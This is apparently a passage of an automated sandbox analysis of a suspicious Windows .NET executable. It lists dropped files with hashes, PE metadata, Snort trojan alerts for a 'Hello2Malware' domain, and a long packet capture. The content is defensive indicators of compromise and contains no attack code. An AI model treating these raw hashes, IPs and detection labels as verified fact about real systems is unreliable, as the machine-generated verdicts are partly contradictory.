SHA-256:	B42DC237E44CBC9A43400E7D3F9CBD406DBDEFD62BFE87328F8663897D69DF78
SHA-512:	9D56F79410AD0CF852C74C3EF9454E7AE86E80BDD6FF67773994B48CCAC71142BCF5C90635DA6A056E1406E81E64674DB9584928E867C55B77B59E2851CF6444
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF....[.......,...................I..................WR. .authroot.stl..L...5..CK..<Tk...p.k:.]...k..-.o.d.}.N.F....!.....$t)K."..DE.....v..gr...}?>.<.s..<...{.t..\F.e.F...8&.<..>...t8....`dqM4.y..t8..t..3..1.`\.:+.<].F...3.~.M.B.....J....PR.+..UUUV.GY...8...._vl.....H}.s.Pq..r.<.0.lG.C..e(..oe........9..'8..m.......G8T......sR..&=.J....s.U......#...).j...x.....gq.+.N:.Wj...V.t...(J.;^..Mr~e..}.q....q....eo..O.....@.B.S.....66.\|!.(.........D!k..&.. /.....H~.....}.(..\|.S..~8..A..(.#..w.Y.....'.F...y&.8......f..49r..N...(zX.0;.....000.3c)Z.v.5N'.z...rNFw,E.NY..#ua.o.$..Y?.-.=....}d...]......x_<.W....ya.3.a..SQT.U..\|!.pyCA..-h..Y..>n......^.U.....H...EY.\.......}.-(....h..=xiV.O.W@p.=.r.i..c...c....S.x.;..GWf...=.:.....S.c/..v..3.iG<.&..%...8..=}.....+.n\?0"A.Y%<......+..O. .9..#..>.....5.2.j.1<.Z.>v..j...wr.i.:....!...;.N[.q..z9j..l.R.&,....$.V...k.j..Tc..m..D!%....".Y.#V."w.\|....L\| ..p........w.=..ck...<........{s..w..};../.=...k....YH.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\Desktop\Your file name without extension goes here.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.1225101819215353
Encrypted:	false
SSDEEP:	6:kKZNsTN+SkQlPlEGYRMY9z+4KlDA3RUe1HEbpo:Ps8kPlE99SNxAhUe1HEVo
MD5:	FAA2D979E07BEDAE9B498A2F2EE7247C
SHA1:	CCD5E40DEECC8462F4BF8718542A12C034FCA5E6
SHA-256:	21946A7396AC1AD603F29221FCEAC06638D78A25AB34EC871024553E57B5BCF6
SHA-512:	1913268F2C1DC1B25E3F809DCCDA601CABC904214BE2864C6EF9E9B489E1F1AEF1D72A682E6DA88ED13E4A612D24D23DEC941C086D8D6DE3E1B9AF11FC196291
Malicious:	false
Reputation:	low
Preview:	p...... ..........5..s..(....................................................... .........;.i......(...........[...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".2.c.8.3.b.1.3.b.a.f.6.9.d.a.1.:.0."...

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.394331665091772
Encrypted:	false
SSDEEP:	6144:ul4fiJoH0ncNXiUjt10q+G/gaocYGBoaUMMhA2NX4WABlBuNA5OBSqa:u4vF+MYQUMM6VFYS5U
MD5:	4801A2430285D4087627EEAB8539CE0A
SHA1:	9A683AB12AD62F30C07947D1A3B15E9A855742B1
SHA-256:	BCA68001FEA6D8D42122A3309C0ACBDAD6DD0EBE943A8E1EE9E95B889BBE9938
SHA-512:	69D61AA9E41F4B9BDCC5D0349B527F28E8E23CBA38402673D75166387AE0B15A82E0E91A9C9337751CE37B5051053BF124DB6F57AF6D5690C458DA71AB943E19
Malicious:	false
Reputation:	low
Preview:	regfG...F....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.V._.s.............................................................................................................................................................................................................................................................................................................................................../.k........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1728512
Entropy (8bit):	4.57799195526849
Encrypted:	false
SSDEEP:	6144:5l4fiJoH0ncNXiUjt10q+G/QaocYGBoaUMMhA2NX4WABlBuNA5OBSqa:P4vF+UYQUMM6VFYS5U
MD5:	02BEC89A32C1DB5F46BA75486326720D
SHA1:	789AA5961B4DA33EE4DDDF545ECB50598E1F5E47
SHA-256:	4ECDB48B0E8EFC989F1CA281BD5D0EE64807387B7B0D85A62A3CEE673AA853BB
SHA-512:	115975221022B84F320348F308A1C548EB30F17472244D8138DF01CFE8843DB436AD1272EF564FA736FD067118C03C13452955CD784633F7E850D52E90C775D3
Malicious:	false
Reputation:	low
Preview:	regfF...F....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.V._.s.............................................................................................................................................................................................................................................................................................................................................../.kHvLE.^......F....`...........k^...B......0...@... ..hbin.................\.Z............nk,..\.Z........ ...........h...................................<.......&...{11517B7C-E79D-4e20-961B-75A811715ADD}..`...sk..........F...........\...l.............H.........?...................?...................?........... ... ........... ... ...................$.N..........vk..4...`...........CreatingCommand.....O.n.e.D.r.i.v.e.S.e.t.u.p...e.x.e. ./.s.i.l.e.n.t.......vk..<...............

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.720795831837805
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	Your file name without extension goes here.exe
File size:	25'600 bytes
MD5:	6f4ef9cfdd9d5962578f69740dca09bd
SHA1:	8e5b7b9f87407c5d363ae8c45f59c259de3619b8
SHA256:	79ef6130bcae3d19cd786c7728c365af3146fb268a6eaf75e6e9db9aa136b374
SHA512:	79c6decfb9acdd7b37255f6bc15d64a688ee9ff624ea22a32d2795a7ceaec0b69c422afa92764d246281578731f70f3918534e9ada253ea128d8aa96aef5d7a9
SSDEEP:	384:ctA70798O5BBF0/61Afj0nb6B08Mr2UvhEZp5iaU/DpzDpY1vtcgxxVUJNhbUA/:l01BBe/JBppp3UlzlY1vnxyq
TLSH:	CAB25B227BDC963BD6FF473498B232909332EB460556CFED6CC0A04F9A97B841A417B5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....]s..........."...0.:[............... ....@...... ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x8F735D8A [Sat Apr 7 08:27:54 2046 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8000	0x5a6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x7a84	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x5b3a	0x5c00	617766dcec5f71fae739f1cf71b5f6af	False	0.5189792798913043	data	5.833756683242398	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x8000	0x5a6	0x600	907941ca972c43afc2d15b26345f11b0	False	0.4147135416666667	data	4.071508880797782	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x80a0	0x31c	data			0.4296482412060301
RT_MANIFEST	0x83bc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/11/24-15:21:04.566825	TCP	2856465	ETPRO TROJAN Observed Hello2Malware Domain in TLS SNI	52543	443	192.168.2.9	172.67.190.93
03/11/24-15:21:04.566825	TCP	2856401	ETPRO TROJAN Observed Hello2Malware Domain	52543	443	192.168.2.9	172.67.190.93
03/11/24-15:21:04.353261	UDP	2856462	ETPRO TROJAN DNS Query to Hello2Malware Domain	62177	53	192.168.2.9	1.1.1.1
03/11/24-15:21:04.353261	UDP	2856398	ETPRO TROJAN DNS Query to Hello2Malware Domain	62177	53	192.168.2.9	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 11, 2024 15:20:59.022732973 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:20:59.022782087 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:20:59.022845984 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:20:59.047755957 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:20:59.047791958 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:20:59.497952938 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:20:59.498034954 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:20:59.504484892 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:20:59.504491091 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:20:59.504841089 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:20:59.559458971 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:20:59.603012085 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:20:59.648226976 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.126446009 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.126631021 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.126684904 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.126702070 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.126740932 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.126748085 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.126929998 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.126971960 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.126979113 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.127155066 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.127204895 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.127211094 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.168833017 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.168848038 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.215676069 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.344660044 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.344784021 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.344882965 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.344913006 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.344955921 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.344995975 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.345027924 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.345043898 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.345053911 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.345069885 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.345091105 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.345120907 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.345149040 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.345165014 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.345172882 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.345194101 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.345202923 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.345232964 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.345247030 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.345254898 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.345280886 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.345309973 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.345325947 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.345335007 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.345359087 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.388391018 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.388437033 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.434438944 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.563237906 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563283920 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563303947 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563323975 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563345909 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563345909 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.563374043 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563395023 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.563415051 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.563576937 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563630104 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563668013 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.563678026 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563730955 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563805103 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563827038 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.563834906 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563918114 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563925982 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.563934088 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.563981056 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.564013958 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564127922 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564174891 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.564182997 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564244986 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564291000 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.564297915 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564352989 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564373016 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564402103 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.564409018 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564446926 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.564452887 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564527035 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564573050 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.564579964 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564661980 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564713001 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564757109 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.564765930 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564877987 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564915895 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.564923048 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.564958096 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.564964056 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.565187931 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.565226078 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.565224886 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.565241098 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.565274954 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.565293074 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.606328011 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.610573053 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.653390884 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.653422117 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.700088978 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.784338951 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784400940 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784426928 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784452915 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784467936 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.784480095 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784507036 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784513950 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.784543991 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784554005 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.784565926 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784595013 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784616947 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.784621000 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784640074 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784667015 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784689903 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784696102 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.784745932 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784753084 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.784797907 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.784801006 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784809113 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784815073 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784851074 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.784862995 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784874916 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.784881115 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784920931 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784925938 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.784938097 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784946918 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784974098 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.784995079 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.784996033 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785007000 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785032034 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785043001 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785053015 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785073042 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785073996 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785084963 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785101891 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785114050 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785130978 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785139084 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785156012 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785175085 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785180092 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785187960 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785213947 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785233021 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785233021 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785243034 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785264015 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785273075 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785291910 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785299063 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785315990 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785335064 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785355091 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785367012 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785373926 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785386086 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785406113 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785419941 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785427094 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785444975 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785469055 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785470963 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785479069 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785516977 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785521030 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785541058 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785562038 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785567999 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785577059 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785598993 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785607100 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785624027 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785649061 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785649061 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785660028 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785691023 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785703897 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785712004 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785732031 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785742044 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785749912 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785773039 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785778046 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785795927 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785824060 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.785831928 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.785872936 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.786016941 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.786305904 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.791229963 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.828810930 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.828860044 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.828881025 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.828892946 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.828905106 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.828936100 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.828958988 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:00.829018116 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:00.829030037 CET	443	49708	140.82.114.3	192.168.2.9
